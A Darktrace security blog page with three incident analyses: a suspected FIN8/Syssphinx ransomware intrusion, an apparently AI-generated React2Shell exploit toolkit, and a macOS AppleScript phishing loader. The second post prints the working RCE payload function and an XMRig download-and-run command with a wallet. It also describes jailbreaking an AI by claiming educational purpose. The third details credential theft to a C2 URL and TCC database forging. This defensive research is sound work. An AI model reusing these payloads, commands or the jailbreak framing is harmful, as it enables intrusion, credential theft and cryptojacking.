ブログ
/
Network
/
August 2, 2023

Darktrace's Detection of Ransomware & Syssphinx

Read how Darktrace identified an attack technique by the threat group, Syssphinx. Learn how Darktrace's quick identification process can spot a threat.
Written by
Adam Potter
Senior Cyber Analyst
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst
Default blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
02
Aug 2023

Introduction

As the threat of costly cyber-attacks continues represent a real concern to security teams across the threat landscape, more and more organizations are strengthening their defenses with additional security tools to identify attacks and protect their networks. As a result, malicious actors are being forced to adapt their tactics, modify existing variants of malicious software, or utilize entirely new variants.  

Symantec recently released an article about Syssphinx, the financially motivated cyber threat group previously known for their point-of-sale attacks. Syssphinx attempts to deploy ransomware on customer networks via a modified version of their ‘Sardonic’ backdoor. Such activity highlights the ability of threat actors to alter the composition and presentation of payloads, tools, and tactics.

Darktrace recently detected some of the same indicators suggesting a likely Syssphinx compromise within the network of a customer trialing the Darktrace DETECT™ and RESPOND™ products. Despite the potential for variations in the construction of backdoors and payloads used by the group, Darktrace’s anomaly-based approach to threat detection allowed it to stitch together a detailed account of compromise activity and identify the malicious activity prior to disruptive events on the customer’s network.

What is Syssphinx?

Syssphinx is a notorious cyber threat entity known for its financially motivated compromises.  Also referred to as FIN8, Syssphinx has been observed as early as 2016 and is largely known to target private sector entities in the retail, hospitality, insurance, IT, and financial sectors.[1]

Although Syssphinx primarily began focusing on point-of-sale style attacks, the activity associated with the group has more recently incorporated ransomware variants into their intrusions in a potential bid to further extract funds from target organizations.[2]

Syssphinx Sardonic Backdoor

Given this gradual opportunistic incorporation of ransomware, it should not be surprising that Syssphinx has slowly expanded its repertoire of tools.  When primarily performing point-of-sale compromises, the group was known for its use of point-of-sale specific malwares including BadHatch, PoSlurp/PunchTrack, and PowerSniff/PunchBuggy/ShellTea.[3]

However, in a seeming response to updates in detection systems while using previous indicators of compromise (IoCs), Syssphinx began to modify its BadHatch malware.  This resulted in the use of a C++ derived backdoor known as “Sardonic”, which has the ability to aggregate host credentials, spawn additional command sessions, and deliver payloads to compromised devices via dynamic-link library (DLL).[4],[5]

Analysis of the latest version of Sardonic reveals further changes to the malware to elude detection. These shifts include the implementation of the backdoor in the C programming language, and additional over-the-network communication obfuscation techniques. [6]

During the post-exploitation phase, the group tends to rely on “living-off-the-land” tactics, whereby an attacker utilizes tools already present within the organization’s digital environment to avoid detection. Syssphinx seems to utilize system-native tools such as PowerShell and the Windows Management Instrumentation (WMI) interface.[7] It is also not uncommon to see Windows-based vulnerability exploits employed on compromised devices. This has been observed by researchers who have examined previous iterations of Syssphinx backdoors.[8] Syssphinx also appears to exhibit elements of strategic patience and discipline in its operations, with significant time gaps in operations noted by researchers. During this time, it appears likely that updates and tweaks were applied to Syssphinx payloads.

Compromise Details

In late April 2023, Darktrace identified an active compromise on the network of a prospective customer who was trialing Darktrace DETECT+RESPOND. The customer, a retailer in EMEA with hundreds of tracked devices, reached out to the Darktrace Analyst team via the Ask the Expert (ATE) service for support and further investigation, following the encryption of their server and backup data storage in an apparent ransomware attack. Although the encryption events fell outside Darktrace’s purview due to a limited set up of trial appliances, Darktrace was able to directly track early stages of the compromise before exfiltration and encryption events began. If a full deployment had been set up and RESPOND functionality had been configured in autonomous response mode, Darktrace may have helped mitigate such encryption events and would have aided in the early identification of this ransomware attack.

Initial Intrusion and Establishment of Command and Control (C2) Infrastructure

As noted by security researchers, Syssphinx largely relies on social engineering and phishing emails to deliver its backdoor payloads. As there were no Darktrace/Email™ products deployed for this customer, it would be difficult to directly observe the exact time and manner of initial payload delivery related to this compromise. This is compounded by the fact that the customer had only recently began using Darktrace’s products during their trial period. Given the penchant for patience and delay by Syssphinx, it is possible that the intrusion began well before Darktrace had visibility of the organization’s network.

However, beginning on April 30, 2023, at 07:17:31 UTC, Darktrace observed the domain controller dc01.corp.XXXX  making repeated SSL connections to the endpoint 173-44-141-47[.]nip[.]io. In addition to the multiple open-source intelligence (OSINT) flags for this endpoint, the construction of the domain parallels that of the initial domain used to deliver a backdoor, as noted by Symantec in their analysis (37-10-71-215[.]nip[.]io). This activity likely represented the initial beaconing being performed by the compromised device. Additionally, an elevated level of incoming external data over port 443 was observed during this time, which may be associated with the delivery of the Sardonic backdoor payload. Given the unusual use of port 443 to perform SSH connections later seen in the kill chain of this attack, this activity could also parallel the employment of embedded backdoor payloads seen in the latest iteration of the Sardonic backdoor noted by Symantec.

Figure 1: Graph of the incoming external data surrounding the time of the initial establishment of command and control communication for the domain controller. As seen in the graph, the spike in incoming external data during this time may parallel the delivery of Syssphinx Sardonic backdoor.

Regardless, the domain controller proceeded to make repeated connections over port 443 to the noted domain.

Figure 2: Breach event log for the domain controller making repeated connections over port 443 to the rare external destination endpoint in constitute the establishment of C2 communication.

Internal Reconnaissance/Privilege Escalation

Following the establishment of C2 communication, Darktrace detected numerous elements of internal reconnaissance. On Apr 30, 2023, at 22:06:26 UTC, the desktop device desktop_02.corp.XXXX proceeded to perform more than 100 DRSGetNCChanges requests to the aforementioned domain controller. These commands, which are typically implemented over the RPC protocol on the DRSUAPI interface, are frequently utilized in Active Directory sync attacks to copy Active Directory information from domain controllers. Such activity, when not performed by new domain controllers to sync Active Directory contents, can indicate malicious domain or user enumeration, credential compromise or Active Directory enumeration.

Although the affected device made these requests to the previously noted domain controller, which was already compromised, such activity may have further enabled the compromise by allowing the threat actor to transfer these details to a more easily manageable device.

The device performing these DRSGetNCChanges requests would later be seen performing lateral movement activity and making connections to malicious endpoints.

Figure 3: Breach log highlighting the DRS operations performed by the corporate device to the destination domain controller. Such activity is rarely authorized for devices not tagged as administrative or as domain controllers.

Execution and Lateral Movement

At 23:09:53 UTC on April 30, 2023, the original domain server proceeded to make multiple uncommon WMI calls to a destination server on the same subnet (server01.corp.XXXX). Specifically, the device was observed making multiple RPC calls to IWbem endpoints on the server, which included login and ExecMethod (method execution) commands on the destination device. This destination device later proceeded to conduct additional beaconing activity to C2 endpoints and exfiltrate data.

Figure 4: Breach log for the domain controller performing WMI commands to the destination server during the lateral movement phase of the breach.

Similarly, beginning on May 1, 2023, at 00:11:09 UTC, the device desktop_02.corp.XXXX made multiple WMI requests to two additional devices, one server and one desktop, within the same subnet as the original domain controller. During this time, desktop_02.corp.XXXX  also utilized SMBv1, an outdated and typically non-compliant version communication protocol, to write the file rclone.exe to the same two destination devices. Rclone.exe, and its accompanying bat file, is a command-line tool developed by IT provider Rclone, to perform file management tasks. During this time, Darktrace also observed the device reading and deleting an unexpected numeric file on the ADMIN$ of the destination server, which may represent additional defense evasion techniques and tool staging.

Figure 5: Event log highlighting the writing of rclone.exe using the outdated SMBv1 communication protocol.
Figure 6: SMB logs indicating the reading and deletion of numeric string files on ADMIN$ shares of the destination devices during the time of the rclone.exe SMB writes. Such activity may be associated with tool staging and could indicate potential defense evasion techniques.

Given that the net loader sample analyzed by Symantec injects the backdoor into a WmiPrvSE.exe process, the use of WMI operations is not unexpected. Employment of WMI also correlates with the previously mentioned “living-off-the-land” tactics, as WMI services are commonly used for regular network and system administration purposes. Moreover, the staging of rclone.exe, a legitimate file management tool, for data exfiltration underscores attempts to blend into existing and expected network traffic and remain undetected on the customer’s network.

Data Exfiltration and Impact

Initial stages of data exfiltration actually began prior to some of the lateral movement events described above. On April 30, 2023, 23:09:47 the device server01.corp.XXXX, transferred nearly 11 GB of data to 173.44[.]141[.]47, as well as to the rare external IP address 170.130[.]55[.]77, which appears to have served as the main exfiltration destination during this compromise. Furthermore, the host made repeated connections to the same external IP associated with the initial suspicious beaconing activity (173.44[.]141[.]47) over SSL.

While the data exfiltration event unfolded, the device, server01.corp.XXXX, made multiple HTTP requests to 37.10[.]71[.]215, which featured URIs requesting the rclone.exe and rclone.bat files. This IP address was directly involved in the sample analyzed by Symantec. Furthermore, one of the devices that received the SMB file writes of rclone.exe and the WMI commands from desktop_02.corp.XXXX also performed SSL beaconing to endpoints associated with the compromise.

Between 01:20:45 - 03:31:41 UTC on May 1, 2023, a Darktrace detected a series of devices on the network performing a repeated pattern of activity, namely external connectivity followed by suspicious file downloads and external data transfer operations. Specifically, each affected device made multiple HTTP requests to 37.10[.]71[.]215 for rclone files. The devices proceeded to download the executable and/or binary files, and then transfer large amounts of data to the aforementioned endpoints, 170.130[.]55[.]77 and or 173-44-141-47[.]nip[.]io. Although the devices involved in data exfiltration utilized port 443 as a destination port, the connections actually used the SSH protocol. Darktrace recognized this behavior as unusual as port 443 is typically associated with the SSL protocol, while port 22 is reserved for SSH. Therefore, this activity may represent the threat actor’s attempts to remain undetected by security tools.

This unexpected use of SSH over port 443 also correlates with the descriptions of the new Sardonic backdoor according to threat researchers. Further beaconing and exfiltration activity was performed by an additional host one day later whereby the device made suspicious repeated connections to the aforementioned external hosts.

Figure 7: Connection details highlighting the use of port 443 for SSH connections during the exfiltration events.

In total, nine separate devices were involved in this pattern of activity. Five of these devices were labeled as ‘administrative’ devices according to their hostnames. Over the course of the entire exfiltration event, the attackers exfiltrated almost 61 GB of data from the organization’s environment.

Figure 8: Graph showing the levels of external data transfer from a breach device for one day on either side of the breach time. There is a large spike in such activity during the time of the breach that underscores the exfiltration events.

In addition to the individual anomaly detections by DETECT, Darktrace’s Cyber AI Analyst™ launched an autonomous investigation into the unusual behavior carried out by affected devices, connecting and collating multiple security events into one AI Analyst Incident. AI Analyst ensures that Darktrace can recognize and link the individual steps of a wider attack, rather than just identifying isolated incidents. While traditional security tools may mistake individual breaches as standalone activity, Darktrace’s AI allows it to provide unparalleled visibility over emerging attacks and their kill chains. Furthermore, Cyber AI Analyst’s instant autonomous investigations help to save customer security teams invaluable time in triaging incidents in comparison with human teams who would have to commit precious time and resources to conduct similar pattern analysis.

In this specific case, AI Analyst identified 44 separate security events from 18 different devices and was able to tie them together into one incident. The events that made up this AI Analyst Incident included:

  • Possible SSL Command and Control
  • Possible HTTP Command and Control
  • Unusual Repeated Connections
  • Suspicious Directory Replication ServiceActivity
  • Device / New or Uncommon WMI Activity
  • SMB Write of Suspicious File
  • Suspicious File Download
  • Unusual External Data Transfer
  • Unusual External Data Transfer to MultipleRelated Endpoints
Figure 9: Cyber AI Incident log highlighting multiple unusual anomalies and connecting them into one incident.

Had Darktrace RESPOND been enabled in autonomous response mode on the network of this prospective customer, it would have been able to take rapid mitigative action to block the malicious external connections used for C2 communication and subsequent data exfiltration, ideally halting the attack at this stage. As previously discussed, the limited network configuration of this trial customer meant that the encryption events unfortunately took place outside of Darktrace’s scope. When fully configured on a customer environment, Darktrace DETECT can identify such encryption attempts as soon as they occur. Darktrace RESPOND, in turn, would be able to immediately intervene by applying preventative actions like blocking internal connections that may represent file encryption, or limiting potentially compromised devices to a previously established pattern of life, ensuring they cannot carry out any suspicious activity.

Conclusion

Despite the limitations posed by the customer’s trial configuration, Darktrace demonstrated its ability to detect malicious activity associated with Syssphinx and track it across multiple stages of the kill chain.

Darktrace’s ability to identify the early stages of a compromise and various steps of the kill chain, highlights the necessity for machine learning-enabled, anomaly-based detection. In the face of threats such as Syssphinx, that exhibit the propensity to recast backdoor payloads and incorporate on “living-off-the-land” tactics, signatures and rules-based detection may not prove as effective. While Syssphinx and other threat groups will continue to adopt new tools, methods, and techniques, Darktrace’s Self-Learning AI is uniquely positioned to meet the challenge of such threats.

Appendix

DETECT Model Breaches Observed

•      Anomalous Server Activity / Anomalous External Activity from Critical Network Device

•      Anomalous Connection / Anomalous DRSGetNCChanges Operation

•      Device / New or Uncommon WMI Activity

•      Compliance / SMB Drive Write

•      Anomalous Connection / Data Sent to Rare Domain

•      Anomalous Connection / Uncommon 1 GiB Outbound

•      Unusual Activity / Unusual External Data Transfer

•      Unusual Activity / Unusual External Data to New Endpoints

•      Compliance / SSH to Rare External Destination

•      Anomalous Connection / Unusual SMB Version 1 Connectivity

•      Anomalous File / EXE from Rare External Location

•      Anomalous File / Script from Rare External Location

•      Compromise / Suspicious File and C2

•      Device / Initial Breach Chain Compromise

‍

AI Analyst Incidents Observed

•      Possible SSL Command and Control

•      Possible HTTP Command and Control

•      Unusual Repeated Connections

•      Suspicious Directory Replication Service Activity

•      Device / New or Uncommon WMI Activity

•      SMB Write of Suspicious File

•      Suspicious File Download

•      Unusual External Data Transfer

•      Unusual External Data Transfer to Multiple Related Endpoints

IoCs

IoC - Type - Description

37.10[.]71[.]215 – IP – C2 + payload endpoint

173-44-141-47[.]nip[.]io – Hostname – C2 – payload

173.44[.]141[.]47 – IP – C2 + potential payload

170.130[.]55[.]77 – IP – Data exfiltration endpoint

Rclone.exe – Exe File – Common data tool

Rclone.bat – Script file – Common data tool

MITRE ATT&CK Mapping

Command and Control

T1071 - Application Layer Protocol

T1071.001 – Web protocols

T1573 – Encrypted channels

T1573.001 – Symmetric encryption

T1573.002 – Asymmetric encryption

T1571 – Non-standard port

T1105 – Ingress tool transfer

Execution

T1047 – Windows Management Instrumentation

Credential Access‍

T1003 – OS Credential Dumping

T1003.006 – DCSync

Lateral Movement

T1570 – Lateral Tool Transfer

T1021 - Remote Services

T1021.002 - SMB/Windows Admin Shares

T1021.006 – Windows Remote Management

Exfiltration

T1048 - Exfiltration Over Alternative Protocol

T1048.001 - Exfiltration Over Symmetric Encrypted Non-C2 Protocol

T1048.002 - Exfiltration Over Symmetric Encrypted Non-C2 Protocol

T1041 - Exfiltration Over C2 Channel

References

[1] https://cyberscoop.com/syssphinx-cybercrime-ransomware/

[2] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[3] https://www.bleepingcomputer.com/news/security/fin8-deploys-alphv-ransomware-using-sardonic-malware-variant/

[4] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[5] https://thehackernews.com/2023/07/fin8-group-using-modified-sardonic.html

[6] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[7] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[8] https://www.mandiant.com/resources/blog/windows-zero-day-payment-cards

執筆者
Adam Potter
Senior Cyber Analyst
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst

AI/LLM-Generated Malware Used to Exploit React2Shell

Network
•
February 10, 2026
Nathaniel Bill
Malware Research Engineer
Watch the NIS2 Webinar
よく読まれているブログ
1
Securing Generative AI: Managing Risk in Amazon Bedrock with Darktrace / CLOUD
Nov 19, 2025
2
How Empowering End Users can Improve Your Email Security and Decrease the Burden on the SOC
May 8, 2024
3
Elevating Network Security: Confronting Trust, Ransomware, & Novel Attacks
Jun 21, 2024
4
The State of AI in Cybersecurity: Unveiling Global Insights from 1,800 Security Practitioners
Apr 9, 2024
5
The State of AI in Cybersecurity: The Impact of AI on Cybersecurity Solutions
May 13, 2024

More in this series

No items found.
さらに読む
Network
•
February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

Darktrace identified an AI/LLM generated malware sample exploiting the React2Shell vulnerability within its Cloudypots environment. The incident shows how LLM‑assisted development enables low‑skill attackers to rapidly create effective exploitation tools. This analysis outlines the attack chain, AI‑generated payload, and the growing defensive challenges posed by accessible, AI‑enabled cyber threats.
Nathaniel Bill
Malware Research Engineer
Read more
Network
•
February 5, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

This blog explores a macOS phishing campaign that leverages social engineering, AppleScript loaders, and attempted abuse of the macOS’ TCC feature to gain privileged access. It highlights a broader trend: attackers increasingly exploit user trust rather than system vulnerabilities, using staged payload delivery and persistence techniques to maintain long‑term access.
Tara Gould
Malware Research Lead
Read more
Network
•
February 3, 2026

Darktrace Malware Analysis: Unpacking SnappyBee

his blog details how to unpack malware like SnappyBee, a modular backdoor linked to Salt Typhoon, revealing its custom packing, DLL sideloading, dynamic API resolution, and multi‑stage in‑memory decryption. It provides analysts with a step‑by‑step guide to extract hidden payloads and understand advanced evasion techniques by sophisticated malware strains.
Nathaniel Bill
Malware Research Engineer
Read more

Blog

/

Network

/

February 10, 2026

AI/LLM-Generated Malware Used to Exploit React2Shell

Default blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

A recently observed intrusion against Darktrace’s Cloudypots environment revealed a fully AI‑generated malware sample exploiting CVE-2025-55182, also known as React2Shell. As AI‑assisted software development (“vibecoding”) becomes more widespread, attackers are increasingly leveraging large language models to rapidly produce functional tooling. This incident illustrates a broader shift: AI is now enabling even low-skill operators to generate effective exploitation frameworks at speed. This blog examines the attack chain, analyzes the AI-generated payload, and outlines what this evolution means for defenders.

Initial access

The intrusion was observed against the Darktrace Docker honeypot, which intentionally exposes the Docker daemon internet-facing with no authentication. This configuration allows any attacker to discover the daemon and create a container via the Docker API.

The attacker was observed spawning a container named “python-metrics-collector”, configured with a start up command that first installed prerequisite tools including curl, wget, and python 3.

Container spawned with the name ‘python-metrics-collector’.
Figure 1: Container spawned with the name ‘python-metrics-collector’.

Subsequently, it will download a list of required python packages from

  • hxxps://pastebin[.]com/raw/Cce6tjHM,

Finally it will download and run a python script from:

  • hxxps://smplu[.]link/dockerzero.

This link redirects to a GitHub Gist hosted by user “hackedyoulol”, who has since been banned from GitHub at time of writing.

  • hxxps://gist.githubusercontent[.]com/hackedyoulol/141b28863cf639c0a0dd563344101f24/raw/07ddc6bb5edac4e9fe5be96e7ab60eda0f9376c3/gistfile1.txt

Notably the script did not contain a docker spreader – unusual for Docker-focused malware – indicating that propagation was likely handled separately from a centralized spreader server.

Deployed components and execution chain

The downloaded Python payload was the central execution component for the intrusion. Obfuscation by design within the sample was reinforced between the exploitation script and any spreading mechanism. Understanding that docker malware samples typically include their own spreader logic, the omission suggests that the attacker maintained and executed a dedicated spreading tool remotely.

The script begins with a multi-line comment:
"""
   Network Scanner with Exploitation Framework
   Educational/Research Purpose Only
   Docker-compatible: No external dependencies except requests
"""

This is very telling, as the overwhelming majority of samples analysed do not feature this level of commentary in files, as they are often designed to be intentionally difficult to understand to hinder analysis. Quick scripts written by human operators generally prioritize speed and functionality over clarity. LLMs on the other hand will document all code with comments very thoroughly by design, a pattern we see repeated throughout the sample.  Further, AI will refuse to generate malware as part of its safeguards.

The presence of the phrase “Educational/Research Purpose Only” additionally suggests that the attacker likely jailbroke an AI model by framing the malicious request as educational.

When portions of the script were tested in AI‑detection software, the output further indicated that the code was likely generated by a large language model.

GPTZero AI-detection results indicating that the script was likely generated using an AI model.
Figure 2: GPTZero AI-detection results indicating that the script was likely generated using an AI model.

The script is a well constructed React2Shell exploitation toolkit, which aims to gain remote code execution and deploy a XMRig (Monero) crypto miner. It uses an IP‑generation loop to identify potential targets and executes a crafted exploitation request containing:

  • A deliberately structured Next.js server component payload
  • A chunk designed to force an exception and reveal command output
  • A child process invocation to run arbitrary shell commands

    def execute_rce_command(base_url, command, timeout=120):  
    """ ACTUAL EXPLOIT METHOD - Next.js React Server Component RCE
    DO NOT MODIFY THIS FUNCTION
    Returns: (success, output)  
    """  
    try: # Disable SSL warnings     urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

 crafted_chunk = {
      "then": "$1:__proto__:then",
      "status": "resolved_model",
      "reason": -1,
      "value": '{"then": "$B0"}',
      "_response": {
          "_prefix": f"var res = process.mainModule.require('child_process').execSync('{command}', {{encoding: 'utf8', maxBuffer: 50 * 1024 * 1024, stdio: ['pipe', 'pipe', 'pipe']}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
          "_formData": {
              "get": "$1:constructor:constructor",
          },
      },
  }

  files = {
      "0": (None, json.dumps(crafted_chunk)),
      "1": (None, '"$@0"'),
  }

  headers = {"Next-Action": "x"}

  res = requests.post(base_url, files=files, headers=headers, timeout=timeout, verify=False)

‍

‍This function is initially invoked with ‘whoami’ to determine if the host is vulnerable, before using wget to download XMRig from its GitHub repository and invoking it with a configured mining pool and wallet address.

‍

]\

WALLET = "45FizYc8eAcMAQetBjVCyeAs8M2ausJpUMLRGCGgLPEuJohTKeamMk6jVFRpX4x2MXHrJxwFdm3iPDufdSRv2agC5XjykhA"
XMRIG_VERSION = "6.21.0"
POOL_PORT_443 = "pool.supportxmr.com:443"
...
print_colored(f"[EXPLOIT] Starting miner on {identifier} (port 443)...", 'cyan')  
miner_cmd = f"nohup xmrig-{XMRIG_VERSION}/xmrig -o {POOL_PORT_443} -u {WALLET} -p {worker_name} --tls -B >/dev/null 2>&1 &"

success, _ = execute_rce_command(base_url, miner_cmd, timeout=10)

Many attackers do not realise that while Monero uses an opaque blockchain (so transactions cannot be traced and wallet balances cannot be viewed), mining pools such as supportxmr will publish statistics for each wallet address that are publicly available. This makes it trivial to track the success of the campaign and the earnings of the attacker.

The supportxmr mining pool overview for the attackers wallet address
Figure 3: The supportxmr mining pool overview for the attackers wallet address

Based on this information we can determine the attacker has made approx 0.015 XMR total since the beginning of this campaign, which as of writing is valued at £5. Per day, the attacker is generating 0.004 XMR, which is £1.33 as of writing. The worker count is 91, meaning that 91 hosts have been infected by this sample.

Conclusion

While the amount of money generated by the attacker in this case is relatively low, and cryptomining is far from a new technique, this campaign is proof that AI based LLMs have made cybercrime more accessible than ever. A single prompting session with a model was sufficient for this attacker to generate a functioning exploit framework and compromise more than ninety hosts, demonstrating that the operational value of AI for adversaries should not be underestimated.

CISOs and SOC leaders should treat this event as a preview of the near future. Threat actors can now generate custom malware on demand, modify exploits instantly, and automate every stage of compromise. Defenders must prioritize rapid patching, continuous attack surface monitoring, and behavioral detection approaches. AI‑generated malware is no longer theoretical — it is operational, scalable, and accessible to anyone.

Analyst commentary

It is worth noting that the downloaded script does not appear to include a Docker spreader, meaning the malware will not replicate to other victims from an infected host. This is uncommon for Docker malware, based on other samples analyzed by Darktrace researchers. This indicates that there is a separate script responsible for spreading, likely deployed by the attacker from a central spreader server. This theory is supported by the fact that the IP that initiated the connection, 49[.]36.33.11, is registered to a residential ISP in India. While it is possible the attacker is using a residential proxy server to cover their tracks, it is also plausible that they are running the spreading script from their home computer. However, this should not be taken as confirmed attribution.

Credit to Nathaniel Bill (Malware Research Engineer), Nathaniel Jones ( VP Threat Research | Field CISO AI Security)

Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

Spreader IP - 49[.]36.33.11
Malware host domain - smplu[.]link
Hash - 594ba70692730a7086ca0ce21ef37ebfc0fd1b0920e72ae23eff00935c48f15b
Hash 2 - d57dda6d9f9ab459ef5cc5105551f5c2061979f082e0c662f68e8c4c343d667d

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

Network

/

February 9, 2026

AppleScript Abuse: Unpacking a macOS Phishing Campaign

Default blog imageDefault blog image

Introduction

Darktrace security researchers have identified a campaign targeting macOS users through a multistage malware campaign that leverages social engineering and attempted abuse of the macOS Transparency, Consent and Control (TCC) privacy feature.

The malware establishes persistence via LaunchAgents and deploys a modular Node.js loader capable of executing binaries delivered from a remote command-and-control (C2) server.

Due to increased built-in security mechanisms in macOS such as System Integrity Protection (SIP) and Gatekeeper, threat actors increasingly rely on alternative techniques, including fake software and ClickFix attacks [1] [2]. As a result, macOS threats r[NJ1] ely more heavily on social engineering instead of vulnerability exploitation to deliver payloads, a trend Darktrace has observed across the threat landscape [3].

Technical analysis

The infection chain starts with a phishing email that prompts the user to download an AppleScript file named “Confirmation_Token_Vesting.docx.scpt”, which attemps to masquerade as a legitimate Microsoft document.

The AppleScript header prompting execution of the script.
Figure 1: The AppleScript header prompting execution of the script.

Once the user opens the AppleScript file, they are presented with a prompt instructing them to run the script, supposedly due to “compatibility issues”. This prompt is necessary as AppleScript requires user interaction to execute the script, preventing it from running automatically. To further conceal its intent, the malicious part of the script is buried below many empty lines, assuming a user likely will not to the end of the file where the malicious code is placed.

Curl request to receive the next stage.
Figure 2: Curl request to receive the next stage.

This part of the script builds a silent curl request to “sevrrhst[.]com”, sending the user’s macOS operating system, CPU type and language. This request retrieves another script, which is saved as a hidden file at in ~/.ex.scpt, executed, and then deleted.

The retrieved payload is another AppleScript designed to steal credentials and retrieve additional payloads. It begins by loading the AppKit framework, which enables the script to create a fake dialog box prompting the user to enter their system username and password [4].

Fake dialog prompt for system password.
Figure 3: Fake dialog prompt for system password.

The script then validates the username and password using the command "dscl /Search -authonly <username> <password>", all while displaying a fake progress bar to the user. If validation fails, the dialog window shakes suggesting an incorrect password and prompting the user to try again. The username and password are then encoded in Base64 and sent to: https://sevrrhst[.]com/css/controller.php?req=contact&ac=<user>&qd=<pass>.

Figure 4: Requirements gathered on trusted binary.

Within the getCSReq() function, the script chooses from trusted Mac applications: Finder, Terminal, Script Editor, osascript, and bash. Using the codesign command codesign -d --requirements, it extracts the designated code-signing requirement from the target application. If a valid requirement cannot be retrieved, that binary is skipped. Once a designated requirement is gathered, it is then compiled into a binary trust object using the Code Signing Requirement command (csreq). This trust object is then converted into hex so it can later be injected into the TCC SQLite database.[NB2]

To bypass integrity checks, the TCC directory is renamed to com.appled.tcc using Finder. TCC is a macOS privacy framework designed to restrict application access to sensitive data, requiring users to explicitly grant permissions before apps can access items such as files, contacts, and system resources [1].

Example of how users interact with TCC.
Figure 5: TCC directory renamed to com.appled.TCC.
Figure 6: Example of how users interact with TCC.

After the database directory rename is attempted, the killall command is used on the tccd daemon to force macOS to release the lock on the database. The database is then injected with the forged access records, including the service, trusted binary path, auth_value, and the forged csreq binary. The directory is renamed back to com.apple.TCC, allowing the injected entries to be read and the permissions to be accepted. This enables persistence authorization for:

  • Full disk access
  • Screen recording
  • Accessibility
  • Camera
  • Apple Events 
  • Input monitoring

The malware does not grant permissions to itself; instead, it forges TCC authorizations for trusted Apple-signed binaries (Terminal, osascript, Script Editor, and bash) and then executes malicious actions through these binaries to inherit their permissions.

Although the malware is attempting to manipulate TCC state via Finder, a trusted system component, Apple has introduced updates in recent macOS versions that move much of the authorization enforcement into the tccd daemon. These updates prevent unauthorized permission modifications through directory or database manipulation. As a result, the script may still succeed on some older operating systems, but it is likely to fail on newer installations, as tcc.db reloads now have more integrity checks and will fail on Mobile Device Management (MDM) [NB5] systems as their profiles override TCC.

Snippet of decoded Base64 response.
Figure 7: Snippet of decoded Base64 response.

A request is made to the C2, which retrieves and executes a Base64-encoded script. This script retrieves additional payloads based on the system architecture and stores them inside a directory it creates named ~/.nodes. A series of requests are then made to sevrrhst[.]com for:

/controller.php?req=instd

/controller.php?req=tell

/controller.php?req=skip

These return a node archive, bundled Node.js binary, and a JavaScript payload. The JavaScript file, index.js, is a loader that profiles the system and sends the data to the C2. The script identified the system platform, whether macOS, Linux or Windows, and then gathers OS version, CPU details, memory usage, disk layout, network interfaces, and running process. This is sent to https://sevrrhst[.]com/inc/register.php?req=init as a JSON object. The victim system is then registered with the C2 and will receive a Base64-encoded response.

LaunchAgent patterns to be replaced with victim information.
Figure 8: LaunchAgent patterns to be replaced with victim information.

The Base64-encoded response decodes to an additional Javacript that is used to set up persistence. The script creates a folder named com.apple.commonjs in ~/Library and copies the Node dependencies into this directory. From the C2, the files package.json and default.js are retrieved and placed into the com.apple.commonjs folder. A LaunchAgent .plist is also downloaded into the LaunchAgents directory to ensure the malware automatically starts. The .plist launches node and default.js on load, and uses output logging to log errors and outputs.

Default.js is Base64 encoded JavaScript that functions as a command loop, periodically sending logs to the C2, and checking for new payloads to execute. This gives threat actors ongoing and the ability to dynamically modify behavior without having to redeploy the malware. A further Base64-encoded JavaScript file is downloaded as addon.js.

Addon.js is used as the final payload loader, retrieving a Base64-encoded binary from https://sevrrhst[.]com/inc/register.php?req=next. The binary is decoded from Base64 and written to disk as “node_addon”, and executed silently in the background. At the time of analysis, the C2 did not return a binary, possibly because certain conditions were not met.  However, this mechanism enables the delivery and execution of payloads. If the initial TCC abuse were successful, this payload could access protected resources such as Screen Capture and Camera without triggering a consent prompt, due to the previously established trust.

Conclusion

This campaign shows how a malicious threat actor can use an AppleScript loader to exploit user trust and manipulate TCC authorization mechanisms, achieving persistent access to a target network without exploiting vulnerabilities.

Although recent macOS versions include safeguards against this type of TCC abuse, users should keep their systems fully updated to ensure the most up to date protections.  These findings also highlight the intentions of threat actors when developing malware, even when their implementation is imperfect.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Indicators of Compromise (IoCs)

88.119.171[.]59

sevrrhst[.]com

https://sevrrhst[.]com/inc/register.php?req=next

https://stomcs[.]com/inc/register.php?req=next
https://techcross-es[.]com

Confirmation_Token_Vesting.docx.scpt - d3539d71a12fe640f3af8d6fb4c680fd

EDD_Questionnaire_Individual_Blank_Form.docx.scpt - 94b7392133935d2034b8169b9ce50764

Investor Profile (Japan-based) - Shiro Arai.pdf.scpt - 319d905b83bf9856b84340493c828a0c

MITRE ATTACK

T1566 - Phishing

T1059.002 - Command and Scripting Interpreter: Applescript

T1059.004 – Command and Scripting Interpreter: Unix Shell

T1059.007 – Command and Scripting Interpreter: JavaScript

T1222.002 – File and Directory Permissions Modification

T1036.005 – Masquerading: Match Legitimate Name or Location

T1140 – Deobfuscate/Decode Files or Information

T1547.001 – Boot or Logon Autostart Execution: Launch Agent

T1553.006 – Subvert Trust Controls: Code Signing Policy Modification

T1082 – System Information Discovery
